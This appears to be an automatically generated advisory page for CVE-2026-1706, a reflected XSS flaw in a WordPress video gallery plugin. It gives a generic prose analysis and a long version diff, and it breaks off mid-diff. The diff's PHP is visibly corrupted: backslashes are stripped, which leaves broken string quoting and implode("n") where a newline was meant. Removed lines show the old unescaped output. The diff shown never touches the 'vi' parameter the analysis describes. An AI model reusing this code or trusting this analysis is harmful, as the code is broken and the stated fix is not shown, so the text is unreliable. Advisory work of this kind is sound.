Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1706: All-in-One Video Gallery <= 4.7.1 – Reflected Cross-Site Scripting via 'vi' Parameter (all-in-one-video-gallery)

CVE ID CVE-2026-1706
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 4.7.1
Patched Version 4.7.5
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1706:
The vulnerability is a reflected Cross-Site Scripting (XSS) flaw in the All-in-One Video Gallery WordPress plugin versions up to and including 4.7.1. The root cause is insufficient input sanitization and output escaping of the ‘vi’ parameter. The plugin fails to properly validate and escape user-supplied input before reflecting it back in the HTTP response. This occurs in the plugin’s video handling logic where the ‘vi’ parameter is processed without adequate security controls. The exploitation method involves an attacker crafting a malicious URL containing a JavaScript payload in the ‘vi’ parameter. When an authenticated user visits this crafted URL, the payload executes in their browser context. The attack vector is a reflected XSS via GET request, requiring the victim to click a malicious link. The patch addresses this by implementing proper input sanitization and output escaping for the ‘vi’ parameter. The fix ensures that any user input passed through this parameter is treated as unsafe and properly encoded before being included in the response. The impact of successful exploitation allows unauthenticated attackers to inject arbitrary web scripts that execute when victims visit specially crafted links. This can lead to session hijacking, account takeover, or malicious actions performed on behalf of the victim.

Differential between vulnerable and patched code

Code Diff
--- a/all-in-one-video-gallery/admin/admin.php
+++ b/all-in-one-video-gallery/admin/admin.php
@@ -76,6 +76,10 @@
 				$new_player_settings['hide_youtube_logo'] = $defaults['aiovg_player_settings']['hide_youtube_logo'];
 			}

+			if ( ! array_key_exists( 'statistics', $player_settings ) ) {
+				$new_player_settings['statistics'] = $defaults['aiovg_player_settings']['statistics'];
+			}
+
 			if ( count( $new_player_settings ) ) {
 				update_option( 'aiovg_player_settings', array_merge( $player_settings, $new_player_settings ) );
 			}
@@ -360,6 +364,9 @@

 			// Remove the unfiltered_html capability from editors
 			aiovg_remove_unfiltered_html_capability_from_editors();
+
+			// Force rewrite rules flush on next load
+        	delete_option( 'aiovg_rewrite_rules_flushed' );
 		}
 	}

@@ -1063,6 +1070,100 @@
 	}

 	/**
+     * Flags rewrite rules for flushing on the next request when relevant options change.
+     *
+     * @since 4.7.3
+     * @param string $option Option name being updated.
+     * @param mixed  $old    Previous option value.
+     * @param mixed  $value  Updated option value.
+     */
+    public function force_rewrite_rules_on_settings_update( $option, $old, $value ) {
+        if ( in_array( $option, array( 'aiovg_page_settings', 'aiovg_permalink_settings' ), true ) ) {
+            // Force rewrite rules flush on next load
+            delete_option( 'aiovg_rewrite_rules_flushed' );
+        }
+    }
+
+	/**
+     * Flags rewrite rules for flushing when an assigned AIOVG page
+     * or its translation is updated.
+     *
+     * @since 4.7.3
+     * @param int     $post_id Post ID.
+     * @param WP_Post $post    Post object.
+     * @param bool    $update  Whether this is an existing post update.
+     */
+    public function force_rewrite_rules_on_page_update( $post_id, $post, $update ) {
+        // Avoid autosaves & revisions
+        if ( wp_is_post_autosave( $post_id ) || wp_is_post_revision( $post_id ) ) {
+            return;
+        }
+
+        // Only act on updates (not new pages)
+        if ( ! $update ) {
+            return;
+        }
+
+        // Defensive capability check
+        if ( ! current_user_can( 'edit_page', $post_id ) ) {
+            return;
+        }
+
+        $page_settings      = aiovg_get_option( 'aiovg_page_settings' );
+		$permalink_settings = aiovg_get_option( 'aiovg_permalink_settings' );
+
+		if ( ! empty( $permalink_settings['video_archive_page'] ) ) {
+			$page_settings['video_archive_page'] = (int) $permalink_settings['video_archive_page'];
+		}
+
+        if ( empty( $page_settings ) ) {
+            return;
+        }
+
+        // Normalize assigned page IDs
+        $assigned_pages = array_map( 'intval', $page_settings );
+
+        // Direct Match (Fast Path)
+        if ( in_array( (int) $post_id, $assigned_pages, true ) ) {
+            delete_option( 'aiovg_rewrite_rules_flushed' );
+            return;
+        }
+
+        // Check for Polylang translations
+        if ( function_exists( 'pll_get_post_translations' ) ) {
+            foreach ( $assigned_pages as $assigned_id ) {
+                $translations = pll_get_post_translations( $assigned_id );
+
+                if ( empty( $translations ) ) {
+                    continue;
+                }
+
+                if ( in_array( (int) $post_id, array_map( 'intval', $translations ), true ) ) {
+                    delete_option( 'aiovg_rewrite_rules_flushed' );
+                    return;
+                }
+            }
+        }
+
+        // Check for WPML translations (TRID-based)
+        if ( defined( 'ICL_SITEPRESS_VERSION' ) ) {
+            $element_type = apply_filters( 'wpml_element_type', 'page' );
+            $current_trid = apply_filters( 'wpml_element_trid', null, $post_id, $element_type );
+
+            if ( ! empty( $current_trid ) ) {
+                foreach ( $assigned_pages as $assigned_id ) {
+                    $assigned_trid = apply_filters( 'wpml_element_trid', null, $assigned_id, $element_type );
+
+                    if ( (int) $current_trid === (int) $assigned_trid ) {
+                        delete_option( 'aiovg_rewrite_rules_flushed' );
+                        return;
+                    }
+                }
+            }
+        }
+    }
+
+	/**
 	 * Store user meta.
 	 *
 	 * @since 4.0.1
--- a/all-in-one-video-gallery/admin/settings.php
+++ b/all-in-one-video-gallery/admin/settings.php
@@ -301,6 +301,13 @@
 					'type'              => 'color',
 					'sanitize_callback' => 'sanitize_text_field'
 				),
+                array(
+                    'name'              => 'force_js_initialization',
+                    'label'             => __( 'Force JavaScript Based Initialization', 'all-in-one-video-gallery' ),
+                    'description'       => __( 'By default, the plugin adds the player as an iframe to avoid conflicts with other javascript-based libraries on your website. Check this option to force the standard javascript-based player initialization if you are not a fan of the iframes.', 'all-in-one-video-gallery' ),
+                    'type'              => 'checkbox',
+					'sanitize_callback' => 'intval'
+                ),
 				array(
                     'name'              => 'width',
                     'label'             => __( 'Width', 'all-in-one-video-gallery' ),
@@ -312,15 +319,17 @@
                     'name'              => 'ratio',
                     'label'             => __( 'Height (Ratio)', 'all-in-one-video-gallery' ),
                     'description'       => sprintf(
-						'%s<br /><br /><ul class="aiovg-no-margin"><li><strong>%s:</strong></li><li>"56.25" - %s</li><li>"62.5" - %s</li><li>"75" - %s</li><li>"67" - %s</li><li>"100" - %s</li><li>"41.7" - %s</li></ul>',
-						__( "In percentage. 1 to 100. Calculate player's height using the ratio value entered.", 'all-in-one-video-gallery' ),
+						'%s<br /><br /><ul class="aiovg-no-margin"><li><strong>%s:</strong></li><li>"56.25" - %s</li><li>"62.5" - %s</li><li>"75" - %s</li><li>"67" - %s</li><li>"100" - %s</li><li>"41.7" - %s</li><li>"177.78" - %s</li><li>"133.33" - %s</li></ul>',
+						__( "In percentage. Calculates the player’s height based on the entered ratio.", 'all-in-one-video-gallery' ),
 						__( 'Examples', 'all-in-one-video-gallery' ),
-						__( 'Wide Screen TV', 'all-in-one-video-gallery' ),
-						__( 'Monitor Screens', 'all-in-one-video-gallery' ),
-						__( 'Classic TV', 'all-in-one-video-gallery' ),
-						__( 'Photo Camera', 'all-in-one-video-gallery' ),
-						__( 'Square', 'all-in-one-video-gallery' ),
-						__( 'Cinemascope', 'all-in-one-video-gallery' )
+						__( 'Wide Screen TV (16:9)', 'all-in-one-video-gallery' ),
+						__( 'Monitor Screens (16:10)', 'all-in-one-video-gallery' ),
+						__( 'Classic TV (4:3)', 'all-in-one-video-gallery' ),
+						__( 'Photo Camera (3:2)', 'all-in-one-video-gallery' ),
+						__( 'Square (1:1)', 'all-in-one-video-gallery' ),
+						__( 'Cinemascope (21:9)', 'all-in-one-video-gallery' ),
+                        __( 'Vertical / Shorts (9:16)', 'all-in-one-video-gallery' ),
+                        __( 'Vertical Classic (3:4)', 'all-in-one-video-gallery' )
 					),
                     'type'              => 'text',
                     'sanitize_callback' => 'floatval'
@@ -371,6 +380,13 @@
                     'type'              => 'checkbox',
 					'sanitize_callback' => 'intval'
                 ),
+                array(
+                    'name'              => 'quality_levels',
+                    'label'             => __( 'Quality Levels', 'all-in-one-video-gallery' ),
+                    'description'       => __( 'Enter the video quality levels, one per line.<br />Valid options are "4320p", "2880p", "2160p", "1440p", "1080p", "720p", "576p", "480p", "360p", and "240p".', 'all-in-one-video-gallery' ),
+					'type'              => 'textarea',
+					'sanitize_callback' => 'sanitize_textarea_field'
+				),
 				array(
                     'name'              => 'controls',
                     'label'             => __( 'Player Controls', 'all-in-one-video-gallery' ),
@@ -398,37 +414,6 @@
 					'sanitize_callback' => 'aiovg_sanitize_array'
                 ),
                 array(
-                    'name'              => 'hotkeys',
-                    'label'             => __( 'Keyboard Hotkeys', 'all-in-one-video-gallery' ),
-                    'description'       => sprintf(
-						'%s<br /><br /><ul class="aiovg-no-margin"><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li></ul>',
-                        __( 'Check this option to enable keyboard shortcuts to control the player.', 'all-in-one-video-gallery' ),
-						__( '"Spacebar" - Toggles between Play and Pause.', 'all-in-one-video-gallery' ),
-						__( '"Left Arrow" - Rewinds the video.', 'all-in-one-video-gallery' ),
-                        __( '"Right Arrow" - Forwards the video.', 'all-in-one-video-gallery' ),
-						__( '"Up Arrow" - Increases the volume.', 'all-in-one-video-gallery' ),
-						__( '"Down Arrow" - Lowers the volume.', 'all-in-one-video-gallery' ),
-                        __( '"F Key" - Toggles fullscreen mode.', 'all-in-one-video-gallery' ),
-                        __( '"M Key" - Toggles audio mute.', 'all-in-one-video-gallery' )
-					),
-                    'type'              => 'checkbox',
-					'sanitize_callback' => 'intval'
-                ),
-                array(
-                    'name'              => 'cc_load_policy',
-                    'label'             => __( 'Automatically Show Subtitles', 'all-in-one-video-gallery' ),
-                    'description'       => __( 'Check this option to automatically show subtitles on the player if available.', 'all-in-one-video-gallery' ),
-                    'type'              => 'checkbox',
-					'sanitize_callback' => 'intval'
-                ),
-                array(
-                    'name'              => 'quality_levels',
-                    'label'             => __( 'Quality Levels', 'all-in-one-video-gallery' ),
-                    'description'       => __( 'Enter the video quality levels, one per line.<br />Valid options are "4320p", "2880p", "2160p", "1440p", "1080p", "720p", "576p", "480p", "360p", and "240p".', 'all-in-one-video-gallery' ),
-					'type'              => 'textarea',
-					'sanitize_callback' => 'sanitize_textarea_field'
-				),
-                array(
                     'name'              => 'use_native_controls',
                     'label'             => __( 'Use Native Controls', 'all-in-one-video-gallery' ),
                     'description'       => __( 'Enables native player controls on the selected source types. For example, uses YouTube Player for playing YouTube videos, Vimeo Player for playing Vimeo videos, and Bunny Stream's native player for videos uploaded to Bunny Stream. Note that none of our custom player features will work on the selected sources.', 'all-in-one-video-gallery' ),
@@ -441,18 +426,42 @@
                     'sanitize_callback' => 'aiovg_sanitize_array'
                 ),
                 array(
-                    'name'              => 'force_js_initialization',
-                    'label'             => __( 'Force JavaScript Based Initialization', 'all-in-one-video-gallery' ),
-                    'description'       => __( 'By default, the plugin adds the player as an iframe to avoid conflicts with other javascript-based libraries on your website. Check this option to force the standard javascript-based player initialization if you are not a fan of the iframes.', 'all-in-one-video-gallery' ),
+                    'name'              => 'hide_youtube_logo',
+                    'label'             => __( 'Hide YouTube Logo', 'all-in-one-video-gallery' ),
+                    'description'       => __( 'YouTube's logo cannot be officially hidden, but this experimental option reduces its visibility in our custom player. Use with caution, as it may cause scaling or layout issues, especially with YouTube Shorts. Disable this option if you experience display problems.', 'all-in-one-video-gallery' ),
+                    'type'              => 'checkbox',
+                    'sanitize_callback' => 'intval'
+                ),
+                array(
+                    'name'              => 'cc_load_policy',
+                    'label'             => __( 'Automatically Show Subtitles', 'all-in-one-video-gallery' ),
+                    'description'       => __( 'Check this option to automatically show subtitles on the player if available.', 'all-in-one-video-gallery' ),
                     'type'              => 'checkbox',
 					'sanitize_callback' => 'intval'
                 ),
                 array(
-                    'name'              => 'hide_youtube_logo',
-                    'label'             => __( 'Hide YouTube Logo', 'all-in-one-video-gallery' ),
-                    'description'       => __( 'YouTube's logo cannot be officially hidden, but this experimental option reduces its visibility in our custom player. Use with caution, as it may cause scaling or layout issues, especially with YouTube Shorts. Disable this option if you experience display problems.', 'all-in-one-video-gallery' ),
+                    'name'              => 'statistics',
+                    'label'             => __( 'Enable Views Counting', 'all-in-one-video-gallery' ),
+                    'description'       => __( 'Counts how many times visitors play your videos. Turn this off if you do not need view statistics.', 'all-in-one-video-gallery' ),
                     'type'              => 'checkbox',
                     'sanitize_callback' => 'intval'
+                ),
+                array(
+                    'name'              => 'hotkeys',
+                    'label'             => __( 'Keyboard Hotkeys', 'all-in-one-video-gallery' ),
+                    'description'       => sprintf(
+						'%s<br /><br /><ul class="aiovg-no-margin"><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li></ul>',
+                        __( 'Check this option to enable keyboard shortcuts to control the player.', 'all-in-one-video-gallery' ),
+						__( '"Spacebar" - Toggles between Play and Pause.', 'all-in-one-video-gallery' ),
+						__( '"Left Arrow" - Rewinds the video.', 'all-in-one-video-gallery' ),
+                        __( '"Right Arrow" - Forwards the video.', 'all-in-one-video-gallery' ),
+						__( '"Up Arrow" - Increases the volume.', 'all-in-one-video-gallery' ),
+						__( '"Down Arrow" - Lowers the volume.', 'all-in-one-video-gallery' ),
+                        __( '"F Key" - Toggles fullscreen mode.', 'all-in-one-video-gallery' ),
+                        __( '"M Key" - Toggles audio mute.', 'all-in-one-video-gallery' )
+					),
+                    'type'              => 'checkbox',
+					'sanitize_callback' => 'intval'
                 )
 			),
             'aiovg_images_settings' => array(
@@ -466,7 +475,7 @@
 				array(
                     'name'              => 'ratio',
                     'label'             => __( 'Image Height (Ratio)', 'all-in-one-video-gallery' ),
-                    'description'       => __( "In percentage. 1 to 100. Calculate images's height using the ratio value entered.", 'all-in-one-video-gallery' ),
+                    'description'       => __( "In percentage. Calculates the image’s height based on the entered ratio.", 'all-in-one-video-gallery' ),
                     'type'              => 'text',
                     'sanitize_callback' => 'floatval'
                 ),
@@ -1034,7 +1043,7 @@
                 array(
                     'name'              => 'maybe_flush_rewrite_rules',
                     'label'             => __( 'Auto Flush Rewrite Rules', 'all-in-one-video-gallery' ),
-                    'description'       => __( 'Check this box to automatically detect and insert the missing permalink rules. Rarely, this option can cause issues in some WordPress environments. Kindly disable this option If you find a frequent 404 or 500 error on your website.', 'all-in-one-video-gallery' ),
+                    'description'       => __( 'Enable this option to let the plugin automatically detect and refresh missing permalink rules when necessary. This setting is usually not required, as rewrite rules are refreshed when relevant plugin settings or assigned pages change. Disable this option if you experience frequent 404, 500, or performance-related issues.', 'all-in-one-video-gallery' ),
                     'type'              => 'checkbox',
 					'sanitize_callback' => 'intval'
                 ),
--- a/all-in-one-video-gallery/admin/videos.php
+++ b/all-in-one-video-gallery/admin/videos.php
@@ -783,6 +783,10 @@
 	public function parse_query( $query ) {
 		global $pagenow, $post_type;

+		if ( ! $query->is_main_query() ) {
+			return;
+		}
+
     	if ( 'edit.php' == $pagenow && 'aiovg_videos' == $post_type ) {
 			// Convert category id to taxonomy term in query
 			if ( isset( $query->query_vars['aiovg_categories'] ) && ctype_digit( $query->query_vars['aiovg_categories'] ) && 0 != $query->query_vars['aiovg_categories'] ) {
--- a/all-in-one-video-gallery/all-in-one-video-gallery.php
+++ b/all-in-one-video-gallery/all-in-one-video-gallery.php
@@ -11,7 +11,7 @@
  * Plugin Name:     All-in-One Video Gallery
  * Plugin URI:      https://plugins360.com/all-in-one-video-gallery/
  * Description:     An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
- * Version:         4.7.1
+ * Version:         4.7.5
  * Author:          Team Plugins360
  * Author URI:      https://plugins360.com
  * License:         GPL-2.0+
@@ -40,22 +40,23 @@
             // Include Freemius SDK
             require_once dirname( __FILE__ ) . '/freemius/start.php';
             $aiovg_fs = fs_dynamic_init( array(
-                'id'             => '3213',
-                'slug'           => 'all-in-one-video-gallery',
-                'type'           => 'plugin',
-                'public_key'     => 'pk_e1bed9a9a8957abe8947bb2619ab7',
-                'is_premium'     => false,
-                'has_addons'     => false,
-                'has_paid_plans' => true,
-                'trial'          => array(
+                'id'               => '3213',
+                'slug'             => 'all-in-one-video-gallery',
+                'type'             => 'plugin',
+                'public_key'       => 'pk_e1bed9a9a8957abe8947bb2619ab7',
+                'is_premium'       => false,
+                'has_addons'       => false,
+                'has_paid_plans'   => true,
+                'trial'            => array(
                     'days'               => 7,
                     'is_require_payment' => false,
                 ),
-                'menu'           => array(
+                'menu'             => array(
                     'slug'       => 'all-in-one-video-gallery',
                     'first-path' => 'admin.php?page=all-in-one-video-gallery',
                 ),
-                'is_live'        => true,
+                'is_live'          => true,
+                'is_org_compliant' => true,
             ) );
         }
         return $aiovg_fs;
@@ -68,7 +69,7 @@
 }
 // The current version of the plugin
 if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {
-    define( 'AIOVG_PLUGIN_VERSION', '4.7.1' );
+    define( 'AIOVG_PLUGIN_VERSION', '4.7.5' );
 }
 // The unique identifier of the plugin
 if ( !defined( 'AIOVG_PLUGIN_SLUG' ) ) {
--- a/all-in-one-video-gallery/blocks/blocks.php
+++ b/all-in-one-video-gallery/blocks/blocks.php
@@ -116,7 +116,7 @@
 				'width'                         => __( 'Width', 'all-in-one-video-gallery' ),
 				'width_help'                    => __( 'In pixels. Maximum width of the player. Leave this field empty to scale 100% of its enclosing container/html element.', 'all-in-one-video-gallery' ),
 				'ratio'                         => __( 'Height (Ratio)', 'all-in-one-video-gallery' ),
-				'ratio_help'                    => __( "In percentage. 1 to 100. Calculate player's height using the ratio value entered.", 'all-in-one-video-gallery' ),
+				'ratio_help'                    => __( "In percentage. Calculates the player’s height based on the entered ratio.", 'all-in-one-video-gallery' ),
 				'autoplay'                      => __( 'Autoplay', 'all-in-one-video-gallery' ),
 				'loop'                          => __( 'Loop', 'all-in-one-video-gallery' ),
 				'muted'                         => __( 'Muted', 'all-in-one-video-gallery' ),
--- a/all-in-one-video-gallery/blocks/build/video/index.asset.php
+++ b/all-in-one-video-gallery/blocks/build/video/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-server-side-render'), 'version' => '63468b9cba2c7f46919e');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-server-side-render'), 'version' => 'd37a12b43ab4b6631cfa');
--- a/all-in-one-video-gallery/includes/deactivator.php
+++ b/all-in-one-video-gallery/includes/deactivator.php
@@ -8,23 +8,32 @@
  *
  * @package All_In_One_Video_Gallery
  */
+
 // Exit if accessed directly
-if ( !defined( 'WPINC' ) ) {
-    die;
+if ( ! defined( 'WPINC' ) ) {
+	die;
 }
+
 /**
  * AIOVG_Deactivator class.
  *
  * @since 1.0.0
  */
 class AIOVG_Deactivator {
-    /**
-     * Called when the plugin is deactivated.
-     *
-     * @since 1.0.0
-     */
-    public static function deactivate() {
-        delete_option( 'rewrite_rules' );
-    }
+
+	/**
+	 * Called when the plugin is deactivated.
+	 *
+	 * @since 1.0.0
+	 */
+	public static function deactivate() {
+		if ( wp_next_scheduled( 'aiovg_hourly_scheduled_events' ) ) {
+			wp_clear_scheduled_hook( 'aiovg_hourly_scheduled_events' );
+		}
+
+		if ( wp_next_scheduled( 'aiovg_schedule_every_five_minutes' ) ) {
+			wp_clear_scheduled_hook( 'aiovg_schedule_every_five_minutes' );
+		}
+	}

 }
--- a/all-in-one-video-gallery/includes/helpers/functions.php
+++ b/all-in-one-video-gallery/includes/helpers/functions.php
@@ -771,17 +771,19 @@

 	$defaults = array(
 		'aiovg_player_settings' => array(
-			'player'      => 'videojs',
-			'theme'       => 'default',
-			'theme_color' => '#00b2ff',
-			'width'       => '',
-			'ratio'       => 56.25,
-			'autoplay'    => 0,
-			'loop'        => 0,
-			'muted'       => 0,
-			'preload'     => 'auto',
-			'playsinline' => 1,
-			'controls'    => array(
+			'player'                  => 'videojs',
+			'theme'                   => 'default',
+			'theme_color'             => '#00b2ff',
+			'force_js_initialization' => 0,
+			'width'                   => '',
+			'ratio'                   => 56.25,
+			'autoplay'                => 0,
+			'loop'                    => 0,
+			'muted'                   => 0,
+			'preload'                 => 'auto',
+			'playsinline'             => 1,
+			'quality_levels'          => implode( "n", array( '360p', '480p', '720p', '1080p' ) ),
+			'controls'                => array(
 				'playpause'  => 'playpause',
 				'current'    => 'current',
 				'progress'   => 'progress',
@@ -793,12 +795,11 @@
 				'volume'     => 'volume',
 				'fullscreen' => 'fullscreen'
 			),
-			'hotkeys'        => 0,
-			'cc_load_policy' => 0,
-			'quality_levels' => implode( "n", array( '360p', '480p', '720p', '1080p' ) ),
 			'use_native_controls'     => array(),
-			'force_js_initialization' => 0,
-			'hide_youtube_logo'       => 1
+			'hide_youtube_logo'       => 0,
+			'cc_load_policy'          => 0,
+			'statistics'              => 1,
+			'hotkeys'                 => 0
 		),
 		'aiovg_socialshare_settings' => array(
 			'services' => array(
@@ -911,7 +912,7 @@
 			'lazyloading'               => 0,
 			'datetime_format'           => '',
 			'number_format'             => 'full',
-			'maybe_flush_rewrite_rules' => 1,
+			'maybe_flush_rewrite_rules' => 0,
 			'delete_plugin_data'        => 1,
 			'delete_media_files'        => 1,
 			'custom_css'                => ''
@@ -1201,10 +1202,10 @@
  * @return string $seed Seed value.
  */
 function aiovg_get_orderby_rand_seed( $paged = 'no_longer_required' ) {
-	$seed = '';
-
+	$seed = wp_rand( 1, 999999 );
+
 	if ( isset( $_COOKIE['aiovg_rand_seed'] ) ) {
-		$seed = (int) $_COOKIE['aiovg_rand_seed'];
+		$seed = absint( $_COOKIE['aiovg_rand_seed'] );
 	}

 	return $seed;
@@ -1414,7 +1415,7 @@
 						array(
 							'name'        => 'ratio',
 							'label'       => __( 'Height (Ratio)', 'all-in-one-video-gallery' ),
-							'description' => __( "In percentage. 1 to 100. Calculate player's height using the ratio value entered.", 'all-in-one-video-gallery' ),
+							'description' => __( "In percentage. Calculates the player’s height based on the entered ratio.", 'all-in-one-video-gallery' ),
 							'type'        => 'text',
 							'value'       => $player_settings['ratio']
 						),
@@ -2533,7 +2534,14 @@
  * @param int   $post_id Post ID
  */
 function aiovg_update_views_count( $post_id ) {
-	$can_update_views_count = apply_filters( 'aiovg_can_update_views_count', true, $post_id );
+	$player_settings = aiovg_get_option( 'aiovg_player_settings' );
+
+	$can_update_views_count = apply_filters(
+		'aiovg_can_update_views_count',
+		isset( $player_settings['statistics'] ) ? (int) $player_settings['statistics'] : 1,
+		$post_id
+	);
+
 	if ( ! $can_update_views_count ) {
 		return;
 	}
--- a/all-in-one-video-gallery/includes/helpers/render.php
+++ b/all-in-one-video-gallery/includes/helpers/render.php
@@ -298,10 +298,12 @@
 	$filters = ob_get_clean();

 	// Now load the combined layout (filters + videos)
+	$data_params = ( 'ajax' == $attributes['filters_mode'] ) ? wp_json_encode( $json_params ) : '';
+
 	$html = sprintf(
-		'<div class="aiovg-videos-filters-wrapper aiovg-filters-position-%s" data-params='%s'>',
+		'<div class="aiovg-videos-filters-wrapper aiovg-filters-position-%s" data-params="%s">',
 		esc_attr( $attributes['filters_position'] ),
-		( 'ajax' == $attributes['filters_mode'] ? wp_json_encode( $json_params ) : '' )
+		esc_attr( $data_params )
 	);

 	if ( 'ajax' == $attributes['filters_mode'] ) {
@@ -440,7 +442,7 @@

 			$json_params = aiovg_prepare_attributes_for_ajax( $atts );

-			echo sprintf( '<aiovg-pagination class="aiovg-more aiovg-more-ajax aiovg-text-center" data-params='%s'>', wp_json_encode( $json_params ) );
+			echo sprintf( '<aiovg-pagination class="aiovg-more aiovg-more-ajax aiovg-text-center" data-params="%s">', esc_attr( wp_json_encode( $json_params ) ) );
 			echo sprintf(
 				'<button type="button" class="aiovg-link-more" data-numpages="%d" data-paged="%d">%s</button>',
 				$numpages,
@@ -534,8 +536,8 @@
 			$json_params = aiovg_prepare_attributes_for_ajax( $atts );

 			printf(
-				'<aiovg-pagination class="aiovg-pagination aiovg-pagination-ajax aiovg-text-center" data-params='%s' data-current="%d">',
-				wp_json_encode( $json_params ),
+				'<aiovg-pagination class="aiovg-pagination aiovg-pagination-ajax aiovg-text-center" data-params="%s" data-current="%d">',
+				esc_attr( wp_json_encode( $json_params ) ),
 				$paged
 			);
 		} else {
--- a/all-in-one-video-gallery/includes/init.php
+++ b/all-in-one-video-gallery/includes/init.php
@@ -167,7 +167,9 @@
 		$this->loader->add_action( 'admin_enqueue_scripts', $admin, 'enqueue_styles' );
 		$this->loader->add_action( 'admin_enqueue_scripts', $admin, 'enqueue_scripts' );
 		$this->loader->add_action( 'elementor/editor/after_enqueue_styles', $admin, 'enqueue_styles' );
-		$this->loader->add_action( 'elementor/editor/after_enqueue_scripts', $admin, 'enqueue_scripts' );
+		$this->loader->add_action( 'elementor/editor/after_enqueue_scripts', $admin, 'enqueue_scripts' );
+		$this->loader->add_action( 'updated_option', $admin, 'force_rewrite_rules_on_settings_update', 10, 3 );
+		$this->loader->add_action( 'save_post_page', $admin, 'force_rewrite_rules_on_page_update', 10, 3 );
 		$this->loader->add_action( 'wp_ajax_aiovg_store_user_meta', $admin, 'ajax_callback_store_user_meta' );

 		$this->loader->add_filter( 'display_post_states', $admin, 'add_display_post_states', 10, 2 );
@@ -263,7 +265,8 @@
 		$this->loader->add_action( 'wp_enqueue_scripts', $public, 'enqueue_assets', 99 );
 		$this->loader->add_action( 'aiovg_enqueue_block_editor_assets', $public, 'enqueue_block_editor_assets' );
 		$this->loader->add_action( 'elementor/editor/after_enqueue_scripts', $public, 'enqueue_block_editor_assets' );
-		$this->loader->add_action( 'elementor/preview/enqueue_scripts', $public, 'enqueue_block_editor_assets' );
+		$this->loader->add_action( 'elementor/preview/enqueue_scripts', $public, 'enqueue_block_editor_assets' );
+		$this->loader->add_action( 'query_vars', $public, 'query_vars' );
 		$this->loader->add_action( 'wp', $public, 'set_mysql_rand_seed_value' );
 		$this->loader->add_action( 'wp_loaded', $public, 'maybe_flush_rules', 11 );
 		$this->loader->add_action( 'wp_head', $public, 'wp_head' );
--- a/all-in-one-video-gallery/includes/player/base.php
+++ b/all-in-one-video-gallery/includes/player/base.php
@@ -181,6 +181,10 @@
 					if ( ! empty( $embedcode ) ) {
 						$iframe_src = aiovg_extract_iframe_src( $embedcode );
 						if ( $iframe_src ) {
+							if ( false !== strpos( $iframe_src, 'youtube.com' ) || false !== strpos( $iframe_src, 'youtu.be' ) ) {
+								$iframe_src = add_query_arg( 'enablejsapi', 1, $iframe_src );
+							}
+
 							$videos['iframe'] = $iframe_src;
 						} else {
 							$videos['embedcode'] = $embedcode;
@@ -377,9 +381,9 @@
 		$general_settings = aiovg_get_option( 'aiovg_general_settings' );

 		$defaults = array(
+			'theme'               => ( isset( $player_settings['theme'] ) && 'custom' == $player_settings['theme'] ) ? 'custom' : 'default',
 			'width' 			  => $player_settings['width'],
 			'ratio' 			  => $player_settings['ratio'],
-			'theme'               => ( isset( $player_settings['theme'] ) && 'custom' == $player_settings['theme'] ) ? 'custom' : 'default',
 			'preload'             => $player_settings['preload'],
 			'playsinline'         => isset( $player_settings['playsinline'] ) ? $player_settings['playsinline'] : 0,
 			'autoplay'            => $player_settings['autoplay'],
@@ -400,10 +404,11 @@
 			'share'			      => isset( $player_settings['controls']['share'] ),
 			'embed'			      => isset( $player_settings['controls']['embed'] ),
 			'download'			  => isset( $player_settings['controls']['download'] ),
-			'hotkeys'             => isset( $player_settings['hotkeys'] ) ? $player_settings['hotkeys'] : 0,
-			'cc_load_policy'      => $player_settings['cc_load_policy'],
 			'use_native_controls' => $player_settings['use_native_controls'],
 			'hide_youtube_logo'   => isset( $player_settings['hide_youtube_logo'] ) ? $player_settings['hide_youtube_logo'] : 0,
+			'cc_load_policy'      => $player_settings['cc_load_policy'],
+			'statistics'          => isset( $player_settings['statistics'] ) ? $player_settings['statistics'] : 1,
+			'hotkeys'             => isset( $player_settings['hotkeys'] ) ? $player_settings['hotkeys'] : 0,
 			'lazyloading'         => isset( $general_settings['lazyloading'] ) ? $general_settings['lazyloading'] : 0
 		);

@@ -701,13 +706,16 @@
  	 * @return string $html Player HTML.
 	 */
 	public function get_player_raw_embed() {
+		$player_settings = $this->get_player_settings();
+
 		$videos = $this->get_videos();

 		wp_enqueue_script( AIOVG_PLUGIN_SLUG . '-embed' );

 		$html = sprintf(
-			'<div class="aiovg-player-raw" data-post_id="%d">%s</div>',
+			'<div class="aiovg-player-raw" data-post_id="%d" data-statistics="%d">%s</div>',
 			(int) $this->post_id,
+			(int) $player_settings['statistics'],
 			do_shortcode( $videos['embedcode'] )
 		);

@@ -732,9 +740,9 @@

 		// Vars
 		$provider = 'embed';
-		if ( ! empty( $videos['youtube'] ) ) {
+		if ( ! empty( $videos['youtube'] ) || false !== strpos( $videos['iframe'], 'youtube.com' ) || false !== strpos( $videos['iframe'], 'youtu.be' ) ) {
 			$provider = 'youtube';
-		} elseif ( ! empty( $videos['vimeo'] ) ) {
+		} elseif ( ! empty( $videos['vimeo'] ) || false !== strpos( $videos['iframe'], 'vimeo.com' ) ) {
 			$provider = 'vimeo';
 		} elseif ( ! empty( $videos['dailymotion'] ) ) {
 			$provider = 'dailymotion';
@@ -750,6 +758,10 @@
 			'post_type'   => esc_attr( $this->post_type )
 		);

+		if ( ! empty( $player_settings['statistics'] ) ) {
+			$attributes['statistics'] = '';
+		}
+
 		if ( ! empty( $player_settings['lazyloading'] ) ) {
 			$attributes['lazyloading'] = '';
 		}
@@ -794,7 +806,7 @@

 		parse_str( $url, $queries );

-		$url = 'https://www.youtube.com/embed/' . aiovg_get_youtube_id_from_url( $url ) . '?iv_load_policy=3&modestbranding=1&rel=0&showinfo=0';
